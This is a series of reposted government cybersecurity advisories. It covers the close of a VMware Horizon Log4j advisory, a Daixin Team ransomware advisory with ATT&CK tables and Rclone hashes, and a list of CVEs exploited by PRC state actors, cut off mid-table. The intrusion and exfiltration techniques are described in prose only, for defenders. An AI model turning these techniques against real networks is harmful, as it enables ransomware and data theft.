    • See VMware Security Advisory VMSA-2021-0028.13 and VMware Knowledge Base (KB) 87073 to determine which VMware Horizon components are vulnerable.
    • Note: Until the update is fully implemented, consider removing vulnerable components from the internet to limit the scope of traffic. While installing the updates, ensure network perimeter access controls are as restrictive as possible.
    • If upgrading is not immediately feasible, see KB87073 and KB87092 for vendor-provided temporary workarounds. Implement temporary solutions using an account with administrative privileges. Note that these temporary solutions should not be treated as permanent fixes; vulnerable components should be upgraded to the latest build as soon as possible.
    • Prior to implementing any temporary solution, ensure appropriate backups have been completed.
    • Verify successful implementation of mitigations by executing the vendor supplied script Horizon_Windows_Log4j_Mitigations.zip without parameters to ensure that no vulnerabilities remain. See KB87073 for details.
• Keep all software up to date and prioritize patching known exploited vulnerabilities (KEVs).
• Minimize the internet-facing attack surface by hosting essential services on a segregated DMZ, ensuring strict network perimeter access controls, and not hosting internet-facing services that are not essential to business operations. Where possible, implement regularly updated web application firewalls (WAF) in front of public-facing services. WAFs can protect against web-based exploitation using signatures and heuristics that are likely to block or alert on malicious traffic.
• Use best practices for identity and access management (IAM) by implementing phishing resistant multifactor authentication (MFA), enforcing use of strong passwords, regularly auditing administrator accounts and permissions, and limiting user access through the principle of least privilege. Disable inactive accounts uniformly across the AD, MFA systems, etc.
  • If using Windows 10 version 1607 or Windows Server 2016 or later, monitor or disable Windows DefaultAccount, also known as the Default System Managed Account (DSMA).
• Audit domain controllers to log successful Kerberos Ticket Granting Service (TGS) requests and ensure the events are monitored for anomalous activity.  
  • Secure accounts.
  • Enforce the principle of least privilege. Administrator accounts should have the minimum permission necessary to complete their tasks.
  • Ensure there are unique and distinct administrative accounts for each set of administrative tasks.
  • Create non-privileged accounts for privileged users and ensure they use the non-privileged accounts for all non-privileged access (e.g., web browsing, email access).
• Create a deny list of known compromised credentials and prevent users from using known-compromised passwords.
• Secure credentials by restricting where accounts and credentials can be used and by using local device credential protection features. 
  • Use virtualizing solutions on modern hardware and software to ensure credentials are securely stored.
  • Ensure storage of clear text passwords in LSASS memory is disabled. Note: For Windows 8, this is enabled by default. For more information see Microsoft Security Advisory Update to Improve Credentials Protection and Management.
  • Consider disabling or limiting NTLM and WDigest Authentication.
  • Implement Credential Guard for Windows 10 and Server 2016 (refer to Microsoft: Manage Windows Defender Credential Guard for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).
  • Minimize the AD attack surface to reduce malicious ticket-granting activity. Malicious activity such as “Kerberoasting” takes advantage of Kerberos’ TGS and can be used to obtain hashed credentials that threat actors attempt to crack.
     

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see table 1).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

References

• [1] MITRE ATT&CK Version 11: Software – Ngrok

Revisions

• Initial Version: November 16, 2022

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This post was originally published on this site

Original release date: October 21, 2022

Summary

Actions to take today to mitigate cyber threats from ransomware:

• Install updates for operating systems, software, and firmware as soon as they are released.
• Require phishing-resistant MFA for as many services as possible.
• Train users to recognize and report phishing attempts.

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Department of Health and Human Services (HHS) are releasing this joint CSA to provide information on the “Daixin Team,” a cybercrime group that is actively targeting U.S. businesses, predominantly in the Healthcare and Public Health (HPH) Sector, with ransomware and data extortion operations.

This joint CSA provides TTPs and IOCs of Daixin actors obtained from FBI threat response activities and third-party reporting.

Download the PDF version of this report: pdf, 591 KB

Technical Details

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques.

Cybercrime actors routinely target HPH Sector organizations with ransomware:

• As of October 2022, per FBI Internet Crime Complaint Center (IC3) data, specifically victim reports across all 16 critical infrastructure sectors, the HPH Sector accounts for 25 percent of ransomware complaints.
• According to an IC3 annual report in 2021, 649 ransomware reports were made across 14 critical infrastructure sectors; the HPH Sector accounted for the most reports at 148.

The Daixin Team is a ransomware and data extortion group that has targeted the HPH Sector with ransomware and data extortion operations since at least June 2022. Since then, Daixin Team cybercrime actors have caused ransomware incidents at multiple HPH Sector organizations where they have:

• Deployed ransomware to encrypt servers responsible for healthcare services—including electronic health records services, diagnostics services, imaging services, and intranet services, and/or
• Exfiltrated personal identifiable information (PII) and patient health information (PHI) and threatened to release the information if a ransom is not paid.

Daixin actors gain initial access to victims through virtual private network (VPN) servers. In one confirmed compromise, the actors likely exploited an unpatched vulnerability in the organization’s VPN server [T1190]. In another confirmed compromise, the actors used previously compromised credentials to access a legacy VPN server [T1078] that did not have multifactor authentication (MFA) enabled. The actors are believed to have acquired the VPN credentials through the use of a phishing email with a malicious attachment [T1598.002].

After obtaining access to the victim’s VPN server, Daixin actors move laterally via Secure Shell (SSH) [T1563.001] and Remote Desktop Protocol (RDP) [T1563.002]. Daixin actors have sought to gain privileged account access through credential dumping [T1003] and pass the hash [T1550.002]. The actors have leveraged privileged accounts to gain access to VMware vCenter Server and reset account passwords [T1098] for ESXi servers in the environment. The actors have then used SSH to connect to accessible ESXi servers and deploy ransomware [T1486] on those servers. 

According to third-party reporting, the Daixin Team’s ransomware is based on leaked Babuk Locker source code. This third-party reporting as well as FBI analysis show that the ransomware targets ESXi servers and encrypts files located in /vmfs/volumes/ with the following extensions: .vmdk, .vmem, .vswp, .vmsd, .vmx, and .vmsn. A ransom note is also written to /vmfs/volumes/. See Figure 1 for targeted file system path and Figure 2 for targeted file extensions list. Figure 3 and Figure 4 include examples of ransom notes. Note that in the Figure 3 ransom note, Daixin actors misspell “Daixin” as “Daxin.”

Figure 1: Daixin Team – Ransomware Targeted File Path

Figure 2: Daixin Team – Ransomware Targeted File Extensions

Figure 3: Example 1 of Daixin Team Ransomware Note

Figure 4: Example 2 of Daixin Team Ransomware Note

In addition to deploying ransomware, Daixin actors have exfiltrated data [TA0010] from victim systems. In one confirmed compromise, the actors used Rclone—an open-source program to manage files on cloud storage—to exfiltrate data to a dedicated virtual private server (VPS). In another compromise, the actors used Ngrok—a reverse proxy tool for proxying an internal service out onto an Ngrok domain—for data exfiltration [T1567].

MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 1 for all referenced threat actor tactics and techniques included in this advisory.

Table 1: Daixin Actors’ ATT&CK Techniques for Enterprise

Reconnaissance
Technique Title	ID	Use
Phishing for Information: Spearphishing Attachment	T1598.002	Daixin actors have acquired the VPN credentials (later used for initial access) by a phishing email with a malicious attachment.
Initial Access
Technique Title	ID	Use
Exploit Public-Facing Application	T1190	Daixin actors exploited an unpatched vulnerability in a VPN server to gain initial access to a network.
Valid Accounts	T1078	Daixin actors use previously compromised credentials to access servers on the target network.
Persistence
Technique Title	ID	Use
Account Manipulation	T1098	Daixin actors have leveraged privileged accounts to reset account passwords for VMware ESXi servers in the compromised environment.
Credential Access
Technique Title	ID	Use
OS Credential Dumping	T1003	Daixin actors have sought to gain privileged account access through credential dumping.
Lateral Movement
Technique Title	ID	Use
Remote Service Session Hijacking: SSH Hijacking	T1563.001	Daixin actors use SSH and RDP to move laterally across a network.
Remote Service Session Hijacking: RDP Hijacking	T1563.002	Daixin actors use RDP to move laterally across a network.
Use Alternate Authentication Material: Pass the Hash	T1550.002	Daixin actors have sought to gain privileged account access through pass the hash.
Exfiltration
Technique Title	ID	Use
Exfiltration Over Web Service	T1567	Daixin Team members have used Ngrok for data exfiltration over web servers.
Impact
Technique Title	ID	Use
Data Encrypted for Impact	T1486	Daixin actors have encrypted data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources.

INDICATORS OF COMPROMISE

See Table 2 for IOCs obtained from third-party reporting.

Table 2: Daixin Team IOCs – Rclone Associated SHA256 Hashes

File	SHA256
rclone-v1.59.2-windows-amd64git-log.txt	9E42E07073E03BDEA4CD978D9E7B44A9574972818593306BE1F3DCFDEE722238
rclone-v1.59.2-windows-amd64rclone.1	19ED36F063221E161D740651E6578D50E0D3CACEE89D27A6EBED4AB4272585BD
rclone-v1.59.2-windows-amd64rclone.exe	54E3B5A2521A84741DC15810E6FED9D739EB8083CB1FE097CB98B345AF24E939
rclone-v1.59.2-windows-amd64README.html	EC16E2DE3A55772F5DFAC8BF8F5A365600FAD40A244A574CBAB987515AA40CBF
rclone-v1.59.2-windows-amd64README.txt	475D6E80CF4EF70926A65DF5551F59E35B71A0E92F0FE4DD28559A9DEBA60C28

Mitigations

FBI, CISA, and HHS urge HPH Sector organizations to implement the following to protect against Daixin and related malicious activity:

• Install updates for operating systems, software, and firmware as soon as they are released. Prioritize patching VPN servers, remote access software, virtual machine software, and known exploited vulnerabilities. Consider leveraging a centralized patch management system to automate and expedite the process.
• Require phishing-resistant MFA for as many services as possible—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups.
• If you use Remote Desktop Protocol (RDP), secure and monitor it.
  • Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources, and require multifactor authentication (MFA) to mitigate credential theft and reuse. If RDP must be available externally, use a virtual private network (VPN), virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports.
  • Ensure devices are properly configured and that security features are enabled. Disable ports and protocols that are not being used for business purposes (e.g., RDP Transmission Control Protocol Port 3389).
• Turn off SSH and other network device management interfaces such as Telnet, Winbox, and HTTP for wide area networks (WANs) and secure with strong passwords and encryption when enabled.
• Implement and enforce multi-layer network segmentation with the most critical communications and data resting on the most secure and reliable layer.
• Limit access to data by deploying public key infrastructure and digital certificates to authenticate connections with the network, Internet of Things (IoT) medical devices, and the electronic health record system, as well as to ensure data packages are not manipulated while in transit from man-in-the-middle attacks.
• Use standard user accounts on internal systems instead of administrative accounts, which allow for overarching administrative system privileges and do not ensure least privilege.
• Secure PII/PHI at collection points and encrypt the data at rest and in transit by using technologies such as Transport Layer Security (TPS). Only store personal patient data on internal systems that are protected by firewalls, and ensure extensive backups are available if data is ever compromised.
• Protect stored data by masking the permanent account number (PAN) when it is displayed and rendering it unreadable when it is stored—through cryptography, for example.
• Secure the collection, storage, and processing practices for PII and PHI, per regulations such as the Health Insurance Portability and Accountability Act of 1996 (HIPAA). Implementing HIPAA security measures can prevent the introduction of malware on the system.
• Use monitoring tools to observe whether IoT devices are behaving erratically due to a compromise.
• Create and regularly review internal policies that regulate the collection, storage, access, and monitoring of PII/PHI.
• In addition, the FBI, CISA, and HHS urge all organizations, including HPH Sector organizations, to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents.

Preparing for Ransomware

• Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware incident and protect against data losses.
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.
• Create, maintain, and exercise a basic cyber incident response plan and associated communications plan that includes response procedures for a ransomware incident.
  • Organizations should also ensure their incident response and communications plans include response and notification procedures for data breach incidents. Ensure the notification procedures adhere to applicable state laws.
    • Refer to applicable state data breach laws and consult legal counsel when necessary.
    • For breaches involving electronic health information, you may need to notify the Federal Trade Commission (FTC) or the Department of Health and Human Services, and—in some cases—the media. Refer to the FTC’s Health Breach Notification Rule and U.S. Department of Health and Human Services’ Breach Notification Rule for more information.
  • See CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide and CISA Fact Sheet, Protecting Sensitive and Personal Information from Ransomware-Caused Data Breaches, for information on creating a ransomware response checklist and planning and responding to ransomware-caused data breaches.

Mitigating and Preventing Ransomware

• Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations.
• Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.
• Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs.
• Open document readers in protected viewing modes to help prevent active content from running.
• Implement user training program and phishing exercises to raise awareness among users about the risks of visiting suspicious websites, clicking on suspicious links, and opening suspicious attachments. Reinforce the appropriate user response to phishing and spearphishing emails.
• Use strong passwords and avoid reusing passwords for multiple accounts. See CISA Tip Choosing and Protecting Passwords and the National Institute of Standards and Technology’s (NIST’s) Special Publication 800-63B: Digital Identity Guidelines for more information.
• Require administrator credentials to install software.
• Audit user accounts with administrative or elevated privileges and configure access controls with least privilege in mind.
• Install and regularly update antivirus and antimalware software on all hosts.
• Only use secure networks and avoid using public Wi-Fi networks. Consider installing and using a VPN.
• Consider adding an email banner to messages coming from outside your organizations.
• Disable hyperlinks in received emails.

Responding to Ransomware Incidents

If a ransomware incident occurs at your organization:

• Follow your organization’s Ransomware Response Checklist (see Preparing for Ransomware section).
• Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise.
• Follow the notification requirements as outlined in your cyber incident response plan.
• Report incidents to the FBI at a local FBI Field Office, CISA at cisa.gov/report, or the U.S. Secret Service (USSS) at a USSS Field Office.
• Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

Note: FBI, CISA, and HHS strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities.

REFERENCES

• Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
• Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.
• No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment.
• Ongoing Threat Alerts and Sector alerts are produced by the Health Sector Cybersecurity Coordination Center (HC3) and can be found at hhs.gov/HC3
• For additional best practices for Healthcare cybersecurity issues see the HHS 405(d) Aligning Health Care Industry Security Approaches at 405d.hhs.gov 

REPORTING

The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Daixin Group actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. Regardless of whether you or your organization have decided to pay the ransom, the FBI, CISA, and HHS urge you to promptly report ransomware incidents to a local FBI Field Office, or CISA at cisa.gov/report.

ACKNOWLEDGEMENTS

FBI, CISA, and HHS would like to thank CrowdStrike and the Health Information Sharing and Analysis Center (Health-ISAC) for their contributions to this CSA.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. FBI, CISA, and HHS do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or HHS.

Revisions

• Initial Publication: October 21, 2022

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This post was originally published on this site

Original release date: October 6, 2022

Summary

This joint Cybersecurity Advisory (CSA) provides the top Common Vulnerabilities and Exposures (CVEs) used since 2020 by People’s Republic of China (PRC) state-sponsored cyber actors as assessed by the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI). PRC state-sponsored cyber actors continue to exploit known vulnerabilities to actively target U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks.

This joint CSA builds on previous NSA, CISA, and FBI reporting to inform federal and state, local, tribal and territorial (SLTT) government; critical infrastructure, including the Defense Industrial Base Sector; and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).

NSA, CISA, and FBI urge U.S. and allied governments, critical infrastructure, and private sector organizations to apply the recommendations listed in the Mitigations section and Appendix A to increase their defensive posture and reduce the threat of compromise from PRC state-sponsored malicious cyber actors.

For more information on PRC state-sponsored malicious cyber activity, see CISA’s China Cyber Threat Overview and Advisories webpage, FBI’s Industry Alerts, and NSA’s Cybersecurity Advisories & Guidance. 

Download the PDF version of this report: pdf, 409 KB

Technical Details

NSA, CISA, and FBI continue to assess PRC state-sponsored cyber activities as being one of the largest and most dynamic threats to U.S. government and civilian networks. PRC state-sponsored cyber actors continue to target government and critical infrastructure networks with an increasing array of new and adaptive techniques—some of which pose a significant risk to Information Technology Sector organizations (including telecommunications providers), Defense Industrial Base (DIB) Sector organizations, and other critical infrastructure organizations.

PRC state-sponsored cyber actors continue to exploit known vulnerabilities and use publicly available tools to target networks of interest. NSA, CISA, and FBI assess PRC state-sponsored cyber actors have actively targeted U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks. See Table 1 for the top used CVEs.

Table I: Top CVEs most used by Chinese state-sponsored cyber actors since 2020

Vendor	CVE	Vulnerability Type
Apache Log4j	CVE-2021-44228	Remote Code Execution
Pulse Connect Secure	CVE-2019-11510	Arbitrary File Read
GitLab CE/EE	CVE-2021-22205	Remote Code Execution
Atlassian	CVE-2022-26134	Remote Code Execution
Microsoft Exchange	CVE-2021-26855	Remote Code Execution
F5 Big-IP	CVE-2020-5902	Remote Code Execution
VMware vCenter Server	CVE-2021-22005	Arbitrary File Upload
Citrix ADC	CVE-2019-19781	Path Traversal
Cisco Hyperflex	CVE-2021-1497	Command Line Execution
Buffalo WSR	CVE-2021-20090	Relative Path Traversal
Atlassian Confluence Server and Data Center	CVE-2021-26084	Remote Code Execution
Hikvision Webserver	CVE-2021-36260	Command Injection
Sitecore XP	CVE-2021-42237	Remote Code Execution
F5 Big-IP	CVE-2022-1388	Remote Code Execution
Apache	CVE-2022-24112	Authentication Bypass by Spoofing
ZOHO	CVE-2021-40539	Remote Code Execution
Microsoft	CVE-2021-26857	Remote Code Execution
Microsoft	CVE-2021-26858	Remote Code Execution
Microsoft	CVE-2021-27065	Remote Code Execution
Apache HTTP Server	CVE-2021-41773	Path Traversal

These state-sponsored actors continue to use virtual private networks (VPNs) to obfuscate their activities and target web-facing applications to establish initial access. Many of the CVEs indicated in Table 1 allow the actors to surreptitiously gain unauthorized access into sensitive networks, after which they seek to establish persistence and move laterally to other internally connected networks. For additional information on PRC state-sponsored cyber actors targeting network devices, please see People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices.

Mitigations

NSA, CISA, and FBI urge organizations to apply the recommendations below and those listed in Appendix A.

• Update and patch systems as soon as possible. Prioritize patching vulnerabilities identified in this CSA and other known exploited vulnerabilities.
• Utilize phishing-resistant multi-factor authentication whenever possible. Require all accounts with password logins to have strong, unique passwords, and change passwords immediately if there are indications that a password may have been compromised. 
• Block obsolete or unused protocols at the network edge. 
• Upgrade or replace end-of-life devices.
• Move toward the Zero Trust security model. 
• Enable robust logging of Internet-facing systems and monitor the logs for anomalous activity.
   

Appendix A

Table II: Apache CVE-2021-44228

Apache CVE-2021-44228 CVSS 3.0: 10 (Critical)

Vulnerability Description Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against malicious actor controlled LDAP and other JNDI related endpoints. A malicious actor who can control log messages or log message parameters could execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Recommended Mitigations Apply patches provided by vendor and perform required system updates.

Detection Methods See vendor’s Guidance For Preventing, Detecting, and Hunting for Exploitation of the Log4j 2 Vulnerability.

Vulnerable Technologies and Versions There are numerous vulnerable technologies and versions associated with CVE-2021-44228. For a full list, check https://nvd.nist.gov/vuln/detail/CVE-2021-44228.

Table III: Pulse CVE-2019-11510

Pulse CVE-2019-11510 CVSS 3.0: 10 (Critical)

Vulnerability Description This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote malicious actor could send a specially crafted URI to perform an arbitrary file reading vulnerability.

Recommended Mitigations Apply patches provided by vendor and perform required system updates.

Detection Methods Use CISA’s “Check Your Pulse” Tool.

Vulnerable Technologies and Versions Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4

Table IV: GitLab CVE-2021-22205

GitLab CVE-2021-22205 CVSS 3.0: 10 (Critical)

Vulnerability Description An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files passed to a file parser, which resulted in a remote command execution.

Recommended Mitigations Update to 12.10.3, 13.9.6, and 13.8.8 for GitLab. Hotpatch is available via GitLab.

Detection Methods Investigate logfiles. Check GitLab Workhorse.

Vulnerable Technologies and Versions Gitlab CE/EE.

Table V: Atlassian CVE-2022-26134

Atlassian CVE-2022-26134 CVSS 3.0: 9.8 (Critical)

Vulnerability Description In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that could allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, 7.13.0 before 7.13.7, 7.14.0 before 7.14.3, 7.15.0 before 7.15.2, 7.16.0 before 7.16.4, 7.17.0 before 7.17.4, and 7.18.0 before 7.18.1.

Recommended Mitigations  Immediately block all Internet traffic to and from affected products AND apply the update per vendor instructions.  Ensure Internet-facing servers are up-to-date and have secure compliance practices. Short term workaround is provided here.

Detection Methods N/A

Vulnerable Technologies and Versions All supported versions of Confluence Server and Data Center Confluence Server and Data Center versions after 1.3.0

Table VI: Microsoft CVE-2021-26855

Microsoft CVE-2021-26855                                                     CVSS 3.0: 9.8 (Critical)

Vulnerability Description Microsoft has released security updates for Windows Exchange Server. To exploit these vulnerabilities, an authenticated malicious actor could send malicious requests to an affected server. A malicious actor  who successfully exploited these vulnerabilities would execute arbitrary code and compromise the affected systems. If successfully exploited, these vulnerabilities could allow an adversary to obtain access to sensitive information, bypass security restrictions, cause a denial of service conditions, and/or perform unauthorized actions on the affected Exchange server, which could aid in further malicious activity.

Recommended Mitigations Apply the appropriate Microsoft Security Update. Microsoft Exchange Server 2013 Cumulative Update 23 (KB5000871) Microsoft Exchange Server 2016 Cumulative Update 18 (KB5000871) Microsoft Exchange Server 2016 Cumulative Update 19 (KB5000871) Microsoft Exchange Server 2019 Cumulative Update 7 (KB5000871) Microsoft Exchange Server 2019 Cumulative Update 8 (KB5000871) Restrict untrusted connections.

Detection Methods Analyze Exchange product logs for evidence of exploitation. Scan for known webshells.

Vulnerable Technologies and Versions Microsoft Exchange 2013, 2016, and 2019.

Table VII: F5 CVE-2020-5902

F5 CVE-2020-5902 CVSS 3.0: 9.8 (Critical)

Vulnerability Description In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

Recommended Mitigations Apply FY BIG-IP Update. Restrict access to the configuration utility.

Detection Methods Use F5’s CVE-2020-5902 IoC Detection Tool. Additional detection methods can be found at https://support.f5.com/csp/article/K52145254.

Vulnerable Technologies and Versions F5 Big-IP Access Policy Manager F5 Big-IP Advanced Firewall Manager F5 Big-IP Advanced Web Application Firewall F5 Big-IP Analytics F5 Big-IP Application Acceleration Manager F5 Big-IP Application Security Manager F5 Big-IP Ddos Hybrid Defender F5 Big-IP Domain Name System (DNS) F5 Big-IP Fraud Protection Service (FPS) F5 Big-IP Global Traffic Manager (GTM) F5 Big-IP Link Controller F5 Networks Big-IP Local Traffic Manager (LTM) F5 Big-IP Policy Enforcement Manager (PEM) F5 SSL Orchestrator

References https://support.f5.com/csp/article/K00091341 https://support.f5.com/csp/article/K07051153 https://support.f5.com/csp/article/K20346072 https://support.f5.com/csp/article/K31301245 https://support.f5.com/csp/article/K33023560 https://support.f5.com/csp/article/K43638305 https://support.f5.com/csp/article/K52145254 https://support.f5.com/csp/article/K82518062

Table VIII: VMware CVE-2021-22005

VMware CVE-2021-22005 CVSS 3.0: 9.8 (Critical)

Vulnerability Description The vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file.

Recommended Mitigations Apply Vendor Updates.

Detection Methods N/A

Vulnerable Technologies and Versions VMware Cloud Foundation VMware VCenter Server

Table IX: Citrix CVE-2019-19781

Citrix CVE-2019-19781 CVSS 3.0: 9.8 (Critical)

Vulnerability Description This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.

Recommended Mitigations Apply vendor mitigations. Use the CTX269180 – CVE-2019-19781 Verification Tool provided by Citrix.

Detection Methods N/A

Vulnerable Technologies and Versions Citrix ADC, Gateway, and SD-WAN WANOP

Table X: Cisco CVE-2021-1497

Cisco CVE-2021-1497 CVSS 3.0: 9.8 (Critical)

Vulnerability Description Multiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote malicious actor to perform a command injection against an affected device. For more information about these vulnerabilities, see the Technical details section of this advisory.

Recommended Mitigations Apply Cisco software updates.

Detection Methods Look at the Snort Rules provided by Cisco.

Vulnerable Technologies and Versions Cisco Hyperflex Hx Data Platform 4.0(2A)

Table XI: Buffalo CVE-2021-20090

Buffalo CVE-2021-20090 CVSS 3.0: 9.8 (Critical)

Vulnerability Description A path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote malicious actors to bypass authentication.

Recommended Mitigations Update firmware to latest available version.

Detection Methods N/A

Vulnerable Technologies and Versions Buffalo Wsr-2533Dhpl2-Bk Firmware Buffalo Wsr-2533Dhp3-Bk Firmware

Table XII: Atlassian CVE-2021-26084

Atlassian CVE-2021-26084 CVSS 3.0: 9.8 (Critical)

Vulnerability Description In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23 and from version 6.14.0 before 7.4.11, version 7.5.0 before 7.11.6, and version 7.12.0 before 7.12.5.

Recommended Mitigations Update confluence version to 6.13.23, 7.4.11, 7.11.6, 7.12.5, and 7.13.0. Avoid using end-of-life devices. Use Intrusion Detection Systems (IDS).

Detection Methods N/A

Vulnerable Technologies and Versions Atlassian Confluence Atlassian Confluence Server Atlassian Data Center Atlassian Jira Data Center

Table XIII: Hikvision CVE-2021-36260

Hikvision CVE-2021-36260 CVSS 3.0: 9.8 (Critical)

Vulnerability Description This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A command injection vulnerability exists in the web server of some Hikvision products. Due to the insufficient input validation, a malicious actor can exploit the vulnerability to launch a command injection by sending some messages with malicious commands.

Recommended Mitigations Apply the latest firmware updates.

Detection Methods N/A

Vulnerable Technologies and Versions Various Hikvision Firmware to include Ds, Ids, and Ptz

References https://www.cisa.gov/uscert/ncas/current-activity/2021/09/28/rce-vulnerability-hikvision-cameras-cve-2021-36260

Table XIV: Sitecore CVE-2021-42237

Sitecore CVE-2021-42237 CVSS 3.0: 9.8 (Critical)

Vulnerability Description Sitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7 is vulnerable to an insecure deserialization attack where it is possible to achieve remote command execution on the machine. No authentication or special configuration is required to exploit this vulnerability.

Recommended Mitigations Update to latest version. Delete the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx.

Detection Methods N/A

Vulnerable Technologies and Versions Sitecore Experience Platform 7.5, 7.5 Update 1, and 7.5 Update 2 Sitecore Experience Platform 8.0, 8.0 Service Pack 1, and 8.0 Update 1-Update 7 Sitecore Experience Platform 8.0 Service Pack 1 Sitecore Experience Platform 8.1, and  Update 1-Update 3 Sitecore Experience Platform 8.2, and Update 1-Update 7

Table XV: F5 CVE-2022-1388

F5 CVE-2022-1388 CVSS 3.0: 9.8 (Critical)

Vulnerability Description This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Recommended Mitigations Block iControl REST access through the self IP address. Block iControl REST access through the management interface. Modify the BIG-IP httpd configuration.

Detection Methods N/A

